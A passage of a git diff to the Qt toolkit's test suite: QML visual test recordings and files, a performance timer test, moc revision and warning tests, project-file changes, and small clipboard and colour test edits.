+ buttons: 1
+ x: 145; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 144; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5712
+ hash: "5bd30e73b37592c06f735541f802f367"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5728
+ hash: "cb087b0af44fd7e767b3ff5da1f49790"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5744
+ hash: "03c99addee96254d19db72746f1bef11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5760
+ hash: "0f76d8a89e383e7e742a3d194d770061"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 133; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ image: "flickableInput.6.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5792
+ hash: "f047f32822850b2c0fee18b4a8f8a96a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5808
+ hash: "160c8c8447a469291fc2f87c2b6c97ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5824
+ hash: "4a9d610f3fa37336c0cab7b4e575713b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "5a00b185983ad89bcf1ceb036c424dd4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "a578449e7df3994d0806f7ee2e5a7815"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 107; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "445cb1ae1934659c3c8b5800bc30fc74"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "ad22110876a867ca80530ca6d132dfe3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 105; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "7a644a888de5691c69543699229ec8ca"
+ }
+ Frame {
+ msec: 5920
+ hash: "7a644a888de5691c69543699229ec8ca"
+ }
+ Frame {
+ msec: 5936
+ hash: "41c14cc9ea05712aea8d1feb18ca85f3"
+ }
+ Frame {
+ msec: 5952
+ hash: "921d476813711e64b9c2272aeff3ed40"
+ }
+ Frame {
+ msec: 5968
+ hash: "2dad691263389dce74c99530f188cd20"
+ }
+ Frame {
+ msec: 5984
+ hash: "b426ff8ba6d1c52974b117fb8b912b76"
+ }
+ Frame {
+ msec: 6000
+ hash: "bbcae0d0547e1cfe9a4db1a6f86bf4b6"
+ }
+ Frame {
+ msec: 6016
+ hash: "b8e54bc1a48d7a225cce25c3735c2933"
+ }
+ Frame {
+ msec: 6032
+ hash: "b59e0f6eea3c41cedb10ac7a7e2629ef"
+ }
+ Frame {
+ msec: 6048
+ hash: "48add89789f9d1be82aedeecf6fda362"
+ }
+ Frame {
+ msec: 6064
+ hash: "3cf7a035a5b7dbc81c3da5e99efa5024"
+ }
+ Frame {
+ msec: 6080
+ hash: "ff9c7173f7138e273cdbdfa8c6f5fedf"
+ }
+ Frame {
+ msec: 6096
+ hash: "bc5e19862dfb38e687d1bfc37690a3b8"
+ }
+ Frame {
+ msec: 6112
+ hash: "6ff97512731fd97d3c540245ffff6205"
+ }
+ Frame {
+ msec: 6128
+ hash: "290e8c8bf51ced134e965f72a868e467"
+ }
+ Frame {
+ msec: 6144
+ hash: "3a63687a5179896572be2e1e0d00766f"
+ }
+ Frame {
+ msec: 6160
+ hash: "80f8d13272a23e8816ef45fbbef922fe"
+ }
+ Frame {
+ msec: 6176
+ hash: "7888e0ece9522f751417944855824be8"
+ }
+ Frame {
+ msec: 6192
+ hash: "3d81f8cde15b7d0b009fc9b46a1144e1"
+ }
+ Frame {
+ msec: 6208
+ hash: "3d81f8cde15b7d0b009fc9b46a1144e1"
+ }
+ Frame {
+ msec: 6224
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6240
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6256
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6272
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6288
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6304
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6320
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6336
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6352
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6368
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6384
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6400
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6416
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6432
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6448
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6464
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6480
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6496
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6512
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6528
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6544
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6560
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6576
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6592
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6608
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6624
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6640
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6656
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6672
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6688
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6704
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6720
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6736
+ image: "flickableInput.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6768
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6784
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6800
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6816
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6832
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6848
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6864
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6880
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6896
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6912
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6928
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6944
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6960
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6976
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6992
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7008
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7024
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7040
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7056
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7072
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7088
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7104
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7120
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7136
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7152
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7168
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7184
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7200
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7216
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7232
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7248
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7264
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7280
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7296
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml
new file mode 100644
index 0000000..7af74ac
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 200
+ height: 50
+ contentWidth: 400
+ contentHeight: 100
+
+ Column {
+ anchors.fill: parent
+
+ TextInput {
+ selectByMouse: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ TextInput {
+ selectByMouse: false
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml
new file mode 100644
index 0000000..59710a4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.1
+//Test that doubleclicking on the front of a word only selects that word, and not the word in front
+
+Item{
+ width: 200
+ height: 100
+ TextInput{
+ anchors.fill: parent
+ readOnly: true
+ selectByMouse: true
+ text: "abc a cba test"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qmlvisual.pro b/tests/auto/declarative/qmlvisual/qmlvisual.pro
index 84df15c..416f8d9 100644
--- a/tests/auto/declarative/qmlvisual/qmlvisual.pro
+++ b/tests/auto/declarative/qmlvisual/qmlvisual.pro
@@ -19,6 +19,7 @@ symbian: {
qdeclarativepathview \
qdeclarativepositioners \
qdeclarativesmoothedanimation \
+ qdeclarativespringanimation \
qdeclarativetext \
qdeclarativetextedit \
qdeclarativetextinput \
diff --git a/tests/auto/declarative/qperformancetimer/qperformancetimer.pro b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro
new file mode 100644
index 0000000..656bf68
--- /dev/null
+++ b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro
@@ -0,0 +1,7 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qperformancetimer.cpp
+macx:CONFIG -= app_bundle
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp
new file mode 100644
index 0000000..2029c8a
--- /dev/null
+++ b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <private/qperformancetimer_p.h>
+#include <QObject>
+#include <qtest.h>
+
+class tst_qperformancetimer : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_qperformancetimer() {}
+
+private slots:
+ void units();
+};
+
+void tst_qperformancetimer::units()
+{
+ QPerformanceTimer timer;
+ timer.start();
+ QTest::qWait(300);
+ qint64 elapsed = timer.elapsed();
+ QVERIFY(elapsed > 300000000 && elapsed < 310000000);
+}
+
+QTEST_MAIN(tst_qperformancetimer)
+
+#include "tst_qperformancetimer.moc"
diff --git a/tests/auto/gui.pro b/tests/auto/gui.pro
index f74da54..07dc5ef 100644
--- a/tests/auto/gui.pro
+++ b/tests/auto/gui.pro
@@ -2,7 +2,7 @@
# (i.e. QT=core gui network).
# The test system is allowed to run these tests before the rest of Qt has
# been compiled.
-#
+#
TEMPLATE=subdirs
SUBDIRS=\
gestures \
@@ -49,6 +49,7 @@ SUBDIRS=\
qfiledialog \
qfiledialog2 \
qfileiconprovider \
+ qfileopenevent \
qfilesystemmodel \
qfocusframe \
qfont \
@@ -81,11 +82,6 @@ SUBDIRS=\
qgroupbox \
qguivariant \
qheaderview \
- qhelpcontentmodel \
- qhelpenginecore \
- qhelpgenerator \
- qhelpindexmodel \
- qhelpprojectdata \
qicoimageformat \
qicon \
qimageiohandler \
@@ -223,10 +219,5 @@ win32:SUBDIRS -= qtextpiecetable
qtextpiecetable \
symbian:SUBDIRS -= \
- qhelpcontentmodel \
- qhelpenginecore \
- qhelpgenerator \
- qhelpindexmodel \
- qhelpprojectdata \
qsystemtrayicon \
diff --git a/tests/auto/help.pro b/tests/auto/help.pro
new file mode 100644
index 0000000..e6ee552
--- /dev/null
+++ b/tests/auto/help.pro
@@ -0,0 +1,8 @@
+TEMPLATE=subdirs
+SUBDIRS=\
+ qhelpcontentmodel \
+ qhelpenginecore \
+ qhelpgenerator \
+ qhelpindexmodel \
+ qhelpprojectdata \
+
diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml
index 768a4e2..c966fa1 100644
--- a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml
+++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml
@@ -93,5 +93,8 @@ QtObject {
//: qsTrId() with comment, meta-data and plurals.
//~ well-tested True
qsTrId("qtn_bar_baz", 10);
+
+ //% "Source text"
+ qsTrId("qtn_baz_biz");
}
}
diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result
index 7dac8cb..4843902 100644
--- a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result
+++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result
@@ -27,6 +27,11 @@
</translation>
<extra-well-tested>True</extra-well-tested>
</message>
+ <message id="qtn_baz_biz">
+ <location filename="main.qml" line="98"/>
+ <source>Source text</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>BarContext</name>
diff --git a/tests/auto/moc/tst_moc.cpp b/tests/auto/moc/tst_moc.cpp
index 3e15bde..56a3107 100644
--- a/tests/auto/moc/tst_moc.cpp
+++ b/tests/auto/moc/tst_moc.cpp
@@ -493,6 +493,11 @@ private slots:
void QTBUG5590_dummyProperty();
void QTBUG12260_defaultTemplate();
void notifyError();
+ void revisions();
+ void warnings_data();
+ void warnings();
+
+
signals:
void sigWithUnsignedArg(unsigned foo);
void sigWithSignedArg(signed foo);
@@ -507,6 +512,7 @@ private:
bool user2() { return false; };
bool user3() { return false; };
bool userFunction(){ return false; };
+ template <class T> void revisions_T();
private:
QString qtIncludePath;
@@ -1384,9 +1390,238 @@ void tst_Moc::notifyError()
#endif
}
+// If changed, update VersionTestNotify below
+class VersionTest : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int prop1 READ foo)
+ Q_PROPERTY(int prop2 READ foo REVISION 2)
+ Q_ENUMS(TestEnum);
+
+public:
+ int foo() const { return 0; }
-QTEST_APPLESS_MAIN(tst_Moc)
-#include "tst_moc.moc"
+ Q_INVOKABLE void method1() {}
+ Q_INVOKABLE Q_REVISION(4) void method2() {}
+ enum TestEnum { One, Two };
+public slots:
+ void slot1() {}
+ Q_REVISION(3) void slot2() {}
+
+signals:
+ void signal1();
+ Q_REVISION(5) void signal2();
+
+public slots Q_REVISION(6):
+ void slot3() {}
+ void slot4() {}
+
+signals Q_REVISION(7):
+ void signal3();
+ void signal4();
+};
+
+// If changed, update VersionTest above
+class VersionTestNotify : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int prop1 READ foo NOTIFY fooChanged)
+ Q_PROPERTY(int prop2 READ foo REVISION 2)
+ Q_ENUMS(TestEnum);
+
+public:
+ int foo() const { return 0; }
+
+ Q_INVOKABLE void method1() {}
+ Q_INVOKABLE Q_REVISION(4) void method2() {}
+
+ enum TestEnum { One, Two };
+
+public slots:
+ void slot1() {}
+ Q_REVISION(3) void slot2() {}
+
+signals:
+ void fooChanged();
+ void signal1();
+ Q_REVISION(5) void signal2();
+
+public slots Q_REVISION(6):
+ void slot3() {}
+ void slot4() {}
+
+signals Q_REVISION(7):
+ void signal3();
+ void signal4();
+};
+
+template <class T>
+void tst_Moc::revisions_T()
+{
+ int idx = T::staticMetaObject.indexOfProperty("prop1");
+ QVERIFY(T::staticMetaObject.property(idx).revision() == 0);
+ idx = T::staticMetaObject.indexOfProperty("prop2");
+ QVERIFY(T::staticMetaObject.property(idx).revision() == 2);
+
+ idx = T::staticMetaObject.indexOfMethod("method1()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 0);
+ idx = T::staticMetaObject.indexOfMethod("method2()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 4);
+
+ idx = T::staticMetaObject.indexOfSlot("slot1()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 0);
+ idx = T::staticMetaObject.indexOfSlot("slot2()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 3);
+
+ idx = T::staticMetaObject.indexOfSlot("slot3()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 6);
+ idx = T::staticMetaObject.indexOfSlot("slot4()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 6);
+
+ idx = T::staticMetaObject.indexOfSignal("signal1()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 0);
+ idx = T::staticMetaObject.indexOfSignal("signal2()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 5);
+
+ idx = T::staticMetaObject.indexOfSignal("signal3()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 7);
+ idx = T::staticMetaObject.indexOfSignal("signal4()");
+ QVERIFY(T::staticMetaObject.method(idx).revision() == 7);
+
+ idx = T::staticMetaObject.indexOfEnumerator("TestEnum");
+ QCOMPARE(T::staticMetaObject.enumerator(idx).keyCount(), 2);
+ QCOMPARE(T::staticMetaObject.enumerator(idx).key(0), "One");
+}
+
+// test using both class that has properties with and without NOTIFY signals
+void tst_Moc::revisions()
+{
+ revisions_T<VersionTest>();
+ revisions_T<VersionTestNotify>();
+}
+
+void tst_Moc::warnings_data()
+{
+ QTest::addColumn<QByteArray>("input");
+ QTest::addColumn<QStringList>("args");
+ QTest::addColumn<int>("exitCode");
+ QTest::addColumn<QString>("expectedStdOut");
+ QTest::addColumn<QString>("expectedStdErr");
+
+ // empty input should result in "no relevant classes" note
+ QTest::newRow("No relevant classes")
+ << QByteArray(" ")
+ << QStringList()
+ << 0
+ << QString()
+ << QString("standard input:0: Note: No relevant classes found. No output generated.");
+
+ // passing "-nn" should suppress "no relevant classes" note
+ QTest::newRow("-nn")
+ << QByteArray(" ")
+ << (QStringList() << "-nn")
+ << 0
+ << QString()
+ << QString();
+
+ // passing "-nw" should also suppress "no relevant classes" note
+ QTest::newRow("-nw")
+ << QByteArray(" ")
+ << (QStringList() << "-nw")
+ << 0
+ << QString()
+ << QString();
+
+ // This should output a warning
+ QTest::newRow("Invalid property warning")
+ << QByteArray("class X : public QObject { Q_OBJECT Q_PROPERTY(int x) };")
+ << QStringList()
+ << 0
+ << QString("IGNORE_ALL_STDOUT")
+ << QString("standard input:1: Warning: Property declaration x has no READ accessor function. The property will be invalid.");
+
+ // Passing "-nn" should NOT suppress the warning
+ QTest::newRow("Invalid property warning")
+ << QByteArray("class X : public QObject { Q_OBJECT Q_PROPERTY(int x) };")
+ << (QStringList() << "-nn")
+ << 0
+ << QString("IGNORE_ALL_STDOUT")
+ << QString("standard input:1: Warning: Property declaration x has no READ accessor function. The property will be invalid.");
+
+ // Passing "-nw" should suppress the warning
+ QTest::newRow("Invalid property warning")
+ << QByteArray("class X : public QObject { Q_OBJECT Q_PROPERTY(int x) };")
+ << (QStringList() << "-nw")
+ << 0
+ << QString("IGNORE_ALL_STDOUT")
+ << QString();
+
+ // This should output an error
+ QTest::newRow("Does not inherit QObject")
+ << QByteArray("class X { Q_OBJECT };")
+ << QStringList()
+ << 1
+ << QString()
+ << QString("standard input:1: Error: Class contains Q_OBJECT macro but does not inherit from QObject");
+
+ // "-nn" should not suppress the error
+ QTest::newRow("Does not inherit QObject with -nn")
+ << QByteArray("class X { Q_OBJECT };")
+ << (QStringList() << "-nn")
+ << 1
+ << QString()
+ << QString("standard input:1: Error: Class contains Q_OBJECT macro but does not inherit from QObject");
+
+ // "-nw" should not suppress the error
+ QTest::newRow("Does not inherit QObject with -nn")
+ << QByteArray("class X { Q_OBJECT };")
+ << (QStringList() << "-nw")
+ << 1
+ << QString()
+ << QString("standard input:1: Error: Class contains Q_OBJECT macro but does not inherit from QObject");
+}
+
+void tst_Moc::warnings()
+{
+#ifdef MOC_CROSS_COMPILED
+ QSKIP("Not tested when cross-compiled", SkipAll);
+#endif
+
+ QFETCH(QByteArray, input);
+ QFETCH(QStringList, args);
+ QFETCH(int, exitCode);
+ QFETCH(QString, expectedStdOut);
+ QFETCH(QString, expectedStdErr);
+
+#ifdef Q_CC_MSVC
+ // for some reasons, moc compiled with MSVC uses a different output format
+ QRegExp lineNumberRe(":(\\d+):");
+ lineNumberRe.setMinimal(true);
+ expectedStdErr.replace(lineNumberRe, "(\\1):");
+#endif
+
+ QProcess proc;
+ proc.start("moc", args);
+ QVERIFY(proc.waitForStarted());
+
+ QCOMPARE(proc.write(input), qint64(input.size()));
+
+ proc.closeWriteChannel();
+
+ QVERIFY(proc.waitForFinished());
+
+ QCOMPARE(proc.exitCode(), exitCode);
+ QCOMPARE(proc.exitStatus(), QProcess::NormalExit);
+
+ // magic value "IGNORE_ALL_STDOUT" ignores stdout
+ if (expectedStdOut != "IGNORE_ALL_STDOUT")
+ QCOMPARE(QString::fromLocal8Bit(proc.readAllStandardOutput()).trimmed(), expectedStdOut);
+ QCOMPARE(QString::fromLocal8Bit(proc.readAllStandardError()).trimmed(), expectedStdErr);
+
+ }
+
+QTEST_APPLESS_MAIN(tst_Moc)
+#include "tst_moc.moc"
diff --git a/tests/auto/networkselftest/networkselftest.pro b/tests/auto/networkselftest/networkselftest.pro
index 98e981c..2742fcb 100644
--- a/tests/auto/networkselftest/networkselftest.pro
+++ b/tests/auto/networkselftest/networkselftest.pro
@@ -12,6 +12,7 @@ wince*: {
addFiles.files = rfc3252.txt
addFiles.path = .
DEPLOYMENT += addFiles
+ TARGET.CAPABILITY = NetworkServices ReadUserData
} else:vxworks*: {
DEFINES += SRCDIR=\\\"\\\"
} else {
diff --git a/tests/auto/qclipboard/tst_qclipboard.cpp b/tests/auto/qclipboard/tst_qclipboard.cpp
index c05bbac..7840974 100644
--- a/tests/auto/qclipboard/tst_qclipboard.cpp
+++ b/tests/auto/qclipboard/tst_qclipboard.cpp
@@ -205,7 +205,7 @@ void tst_QClipboard::testSignals()
void tst_QClipboard::copy_exit_paste()
{
#ifndef QT_NO_PROCESS
-#if defined Q_WS_X11 || defined Q_WS_QWS
+#if defined Q_WS_X11 || defined Q_WS_QWS || defined (Q_WS_QPA)
QSKIP("This test does not make sense on X11 and embedded, copied data disappears from the clipboard when the application exits ", SkipAll);
// ### It's still possible to test copy/paste - just keep the apps running
#elif defined (Q_OS_SYMBIAN) && defined (Q_CC_NOKIAX86)
diff --git a/tests/auto/qcolor/tst_qcolor.cpp b/tests/auto/qcolor/tst_qcolor.cpp
index fcd608b..d42c26c 100644
--- a/tests/auto/qcolor/tst_qcolor.cpp
+++ b/tests/auto/qcolor/tst_qcolor.cpp
@@ -148,6 +148,8 @@ private slots:
void specConstructor_data();
void specConstructor();
+ void achromaticHslHue();
+
#ifdef Q_WS_X11
void allowX11ColorNames();
void setallowX11ColorNames();
@@ -1459,6 +1461,14 @@ void tst_QColor::specConstructor()
QCOMPARE(color.spec(), spec);
}
+void tst_QColor::achromaticHslHue()
+{
+ QColor color = Qt::black;
+
+ QColor hsl = color.toHsl();
+ QCOMPARE(hsl.hslHue(), -1);
+}
+
#ifdef Q_WS_X11
void tst_QColor::allowX11ColorNames()
{
diff --git a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
index 95055d1..bc69461 100644
